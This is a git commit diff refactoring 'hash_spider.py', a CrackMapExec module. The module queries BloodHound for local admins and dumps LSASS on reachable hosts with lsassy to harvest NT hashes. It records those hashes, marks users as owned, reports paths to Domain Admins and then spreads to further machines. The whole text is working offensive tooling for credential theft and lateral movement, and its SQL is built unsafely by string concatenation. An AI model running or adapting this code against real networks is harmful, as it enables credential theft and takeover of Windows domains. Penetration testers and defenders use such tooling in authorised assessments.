Update hash_spider.py
parent
cb98872bfa
commit
6f24cb2023
|
@ -1,71 +1,53 @@
|
|||
# Author:
|
||||
# Peter Gorman @hackerm00n on Twitter
|
||||
# Peter Gormington @hackerm00n on Twitter
|
||||
|
||||
import sqlite3
|
||||
import configparser
|
||||
from ctypes import create_unicode_buffer
|
||||
from operator import contains
|
||||
from types import MethodType
|
||||
from urllib3 import Retry
|
||||
from sys import exit
|
||||
from neo4j import GraphDatabase, basic_auth
|
||||
from neo4j.exceptions import AuthError, ServiceUnavailable
|
||||
import sqlite3
|
||||
import sys
|
||||
import os
|
||||
from cme.modules.lsassy_dump import CMEModule as lsassy
|
||||
from cme.logger import CMEAdapter
|
||||
from lsassy import logger
|
||||
from lsassy.dumper import Dumper
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
|
||||
config = configparser.ConfigParser()
|
||||
cme_path = os.path.expanduser('~/.cme')
|
||||
config.read(os.path.join(cme_path, 'cme.conf'))
|
||||
neo4j_user = config.get('BloodHound', 'bh_user')
|
||||
neo4j_pass = config.get('BloodHound', 'bh_pass')
|
||||
neo4j_uri = config.get('BloodHound', 'bh_uri')
|
||||
neo4j_port = config.get('BloodHound', 'bh_port')
|
||||
neo4j_db = "bolt://" + neo4j_uri + ":" + neo4j_port
|
||||
driver = GraphDatabase.driver(neo4j_db, auth = basic_auth(neo4j_user, neo4j_pass), encrypted=False)
|
||||
db_path = os.path.expanduser("~/.cme/workspaces/default/hash_spider.sqlite3")
|
||||
dbconnection = sqlite3.connect(db_path, check_same_thread=False, isolation_level=None)
|
||||
cursor = dbconnection.cursor()
|
||||
|
||||
credentials_data = []
|
||||
admin_results = []
|
||||
found_users = []
|
||||
reported_da = []
|
||||
|
||||
|
||||
def neo4j_conn(context):
|
||||
if config.get('BloodHound', 'bh_enabled') != "False":
|
||||
def neo4j_conn(context, connection, driver):
|
||||
if connection.config.get('BloodHound', 'bh_enabled') != "False":
|
||||
context.log.info("Connecting to Neo4j/Bloodhound.")
|
||||
try:
|
||||
session = driver.session()
|
||||
list(session.run("MATCH (g:Group) return g"))
|
||||
list(session.run("MATCH (g:Group) return g LIMIT 1"))
|
||||
context.log.info("Connection Successful!")
|
||||
except AuthError as e:
|
||||
context.log.error("Invalid credentials.")
|
||||
except ServiceUnavailable as e:
|
||||
context.log.error("Could not connect to neo4j database.")
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
context.log.error("Error querying domain admins")
|
||||
print(e)
|
||||
else:
|
||||
context.log.highlight("BloodHound not marked enabled. Check cme.conf")
|
||||
sys.exit()
|
||||
exit()
|
||||
|
||||
def neo4j_local_admins(context):
|
||||
def neo4j_local_admins(context, driver):
|
||||
global admin_results
|
||||
try:
|
||||
session = driver.session()
|
||||
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC")
|
||||
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
|
||||
context.log.info("Admins and PCs obtained.")
|
||||
except Exception:
|
||||
context.log.error("Could not pull admins.")
|
||||
sys.exit()
|
||||
exit()
|
||||
admin_results = [record for record in admins.data()]
|
||||
|
||||
def create_db(local_admins):
|
||||
def create_db(local_admins, dbconnection, cursor):
|
||||
cursor.execute('''CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)''')
|
||||
for result in local_admins:
|
||||
cursor.execute("INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", (result.get('COMPUTER'),str(result.get('USERS'),),'FALSE'))
|
||||
|
@ -80,7 +62,7 @@ def create_db(local_admins):
|
|||
cursor.execute('''INSERT OR IGNORE INTO admin_users(username) VALUES(?)''', [user])
|
||||
dbconnection.commit()
|
||||
|
||||
def process_creds(context, connection, credentials_data):
|
||||
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
|
||||
context.log.extra['host'] = connection.domain
|
||||
context.log.extra['hostname'] = connection.host.upper()
|
||||
for result in credentials_data:
|
||||
|
@ -97,14 +79,14 @@ def process_creds(context, connection, credentials_data):
|
|||
if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash =='31d6cfe0d16ae931b73c59d7e0c089c0':
|
||||
context.log.error(f"Hash for {username} is expired.")
|
||||
elif username not in found_users and nthash != None:
|
||||
context.log.success(f"Found hashes for: {username}:{nthash}. Adding them to the DB and marking user as owned in BH.")
|
||||
context.log.success(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
found_users.append(username)
|
||||
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
|
||||
dbconnection.commit()
|
||||
username = (f"{username.upper()}@{connection.domain.upper()}")
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE exists(n.owned) AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = [record for record in path_to_da.data()]
|
||||
for path in paths:
|
||||
if path:
|
||||
|
@ -114,9 +96,9 @@ def process_creds(context, connection, credentials_data):
|
|||
if {item['name']} not in reported_da:
|
||||
context.log.success(f"You have a valid path to DA as {item['name']}.")
|
||||
reported_da.append({item['name']})
|
||||
sys.exit()
|
||||
exit()
|
||||
|
||||
def initial_run(connection):
|
||||
def initial_run(connection, cursor):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
@ -169,7 +151,7 @@ class CMEModule:
|
|||
context.log.error("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username LIKE '" + username + "'")
|
||||
return False
|
||||
dumper = Dumper(session, timeout=10).load(self.method)
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
context.log.error("Unable to load dump method '{}'".format(self.method))
|
||||
return False
|
||||
|
@ -177,8 +159,7 @@ class CMEModule:
|
|||
if file is None:
|
||||
context.log.error("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
credentials, tickets = Parser(file).parse()
|
||||
credentials, tickets, masterkeys = Parser(file).parse()
|
||||
file.close()
|
||||
ImpacketFile.delete(session, file.get_file_path())
|
||||
if credentials is None:
|
||||
|
@ -193,7 +174,7 @@ class CMEModule:
|
|||
global credentials_data
|
||||
credentials_data = credentials_output
|
||||
|
||||
def spider_pcs(self, context, connection):
|
||||
def spider_pcs(self, context, connection, cursor, dbconnection, driver):
|
||||
cursor.execute("SELECT * from admin_users WHERE hash is not NULL")
|
||||
compromised_users = cursor.fetchall()
|
||||
cursor.execute("SELECT pc_name,local_admins FROM pc_and_admins WHERE dumped LIKE 'FALSE'")
|
||||
|
@ -213,19 +194,28 @@ class CMEModule:
|
|||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
except Exception:
|
||||
context.log.error(f"Failed to dump lsassy on {pc[0]}")
|
||||
process_creds(context, connection, credentials_data)
|
||||
self.spider_pcs(context, connection)
|
||||
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
|
||||
self.spider_pcs(context, connection, cursor, dbconnection, driver)
|
||||
if len(admin_access) > 0:
|
||||
context.log.error("No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
|
||||
sys.exit()
|
||||
exit()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
neo4j_conn(context)
|
||||
neo4j_local_admins(context)
|
||||
create_db(admin_results)
|
||||
initial_run(connection)
|
||||
db_path = connection.config.get('CME', 'workspace')
|
||||
dbconnection = sqlite3.connect(db_path, check_same_thread=False, isolation_level=None) # Sqlite DB will be saved at ./CrackMapExec/default if name in cme.conf is default
|
||||
cursor = dbconnection.cursor()
|
||||
neo4j_user = connection.config.get('BloodHound', 'bh_user')
|
||||
neo4j_pass = connection.config.get('BloodHound', 'bh_pass')
|
||||
neo4j_uri = connection.config.get('BloodHound', 'bh_uri')
|
||||
neo4j_port = connection.config.get('BloodHound', 'bh_port')
|
||||
neo4j_db = "bolt://" + neo4j_uri + ":" + neo4j_port
|
||||
driver = GraphDatabase.driver(neo4j_db, auth = basic_auth(neo4j_user, neo4j_pass), encrypted=False)
|
||||
neo4j_conn(context, connection, driver)
|
||||
neo4j_local_admins(context, driver)
|
||||
create_db(admin_results, dbconnection, cursor)
|
||||
initial_run(connection, cursor)
|
||||
context.log.info("Running lsassy.")
|
||||
self.run_lsassy(context, connection)
|
||||
process_creds(context, connection, credentials_data)
|
||||
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
|
||||
context.log.info("🕷️ Starting to spider. 🕷️")
|
||||
self.spider_pcs(context, connection)
|
||||
self.spider_pcs(context, connection, cursor, dbconnection, driver)
|
||||
|
|
Loading…
Reference in New Issue